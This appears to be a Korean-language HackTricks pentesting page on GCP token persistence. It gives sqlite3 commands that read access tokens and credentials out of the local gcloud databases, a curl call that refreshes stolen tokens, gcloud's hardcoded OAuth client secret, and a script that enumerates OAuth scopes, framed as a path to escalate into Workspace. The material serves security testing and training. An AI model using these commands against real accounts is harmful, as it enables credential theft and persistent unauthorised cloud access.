GCP - Token Persistance

Support HackTricks

인증된 사용자 토큰

사용자의 현재 토큰을 얻으려면 다음을 실행할 수 있습니다:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

이 페이지에서 gcloud를 사용하여 이 토큰을 직접 사용하는 방법을 확인하세요:

새 액세스 토큰을 생성하는 세부정보를 얻으려면 다음을 실행하세요:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

**$HOME/.config/gcloud/application_default_credentials.json**와 **$HOME/.config/gcloud/legacy_credentials/*/adc.json**에서 리프레시 토큰을 찾는 것도 가능합니다.

리프레시 토큰, 클라이언트 ID 및 클라이언트 비밀을 사용하여 새로 갱신된 액세스 토큰을 얻으려면 다음을 실행하십시오:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

리프레시 토큰의 유효성은 Admin > Security > Google Cloud session control에서 관리할 수 있으며, 기본적으로 16시간으로 설정되어 있지만 만료되지 않도록 설정할 수 있습니다:

Auth flow

gcloud auth login과 같은 것을 사용할 때의 인증 흐름은 브라우저에서 프롬프트를 열고 모든 범위를 수락한 후 브라우저가 도구에 의해 열려 있는 http 포트에 다음과 같은 요청을 보냅니다:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

그런 다음, gcloud는 일부 하드코딩된 client_id (32555940559.apps.googleusercontent.com) 및 client_secret (ZmssLNjJy2998hD4CTg2ejr2)와 함께 상태 및 코드를 사용하여 최종 리프레시 토큰 데이터를 가져옵니다.

로컬호스트와의 통신은 HTTP로 이루어지므로 리프레시 토큰을 얻기 위해 데이터를 가로챌 수 있지만, 이 데이터는 단 1회만 유효하므로 쓸모가 없습니다. 파일에서 리프레시 토큰을 읽는 것이 더 쉽습니다.

OAuth 범위

모든 Google 범위는 https://developers.google.com/identity/protocols/oauth2/scopes에서 찾거나 다음을 실행하여 얻을 수 있습니다:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

이 스크립트를 사용하여 **gcloud**가 인증에 사용하는 애플리케이션이 지원할 수 있는 범위를 확인할 수 있습니다:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

이 앱이 다음 범위를 지원하는지 확인한 후 실행되었습니다:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

흥미로운 점은 이 앱이 drive 범위를 지원한다는 것입니다. 이는 공격자가 사용자가 이 범위로 토큰을 생성하도록 강제할 경우 GCP에서 Workspace로 상승할 수 있게 해줄 수 있습니다.

여기에서 이것을 악용하는 방법을 확인하세요.

서비스 계정

인증된 사용자와 마찬가지로, 서비스 계정의 비공개 키 파일을 손상시키면 원하는 만큼 접근할 수 있습니다. 그러나 서비스 계정의 OAuth 토큰을 훔치면 더욱 흥미로울 수 있습니다. 기본적으로 이러한 토큰은 한 시간 동안만 유용하지만, 피해자가 비공식 API 키를 삭제하면 OAuth 토큰은 만료될 때까지 여전히 유효합니다.

메타데이터

명백히, GCP 환경에서 실행 중인 머신 내부에 있는 한, 메타데이터 엔드포인트에 연락하여 해당 머신에 연결된 서비스 계정에 접근할 수 있습니다 (이 엔드포인트에서 접근할 수 있는 Oauth 토큰은 일반적으로 범위에 의해 제한됩니다).

수정 사항

이러한 기술에 대한 몇 가지 수정 사항은 https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2에서 설명되어 있습니다.

참고 자료

HackTricks 지원하기

Last updated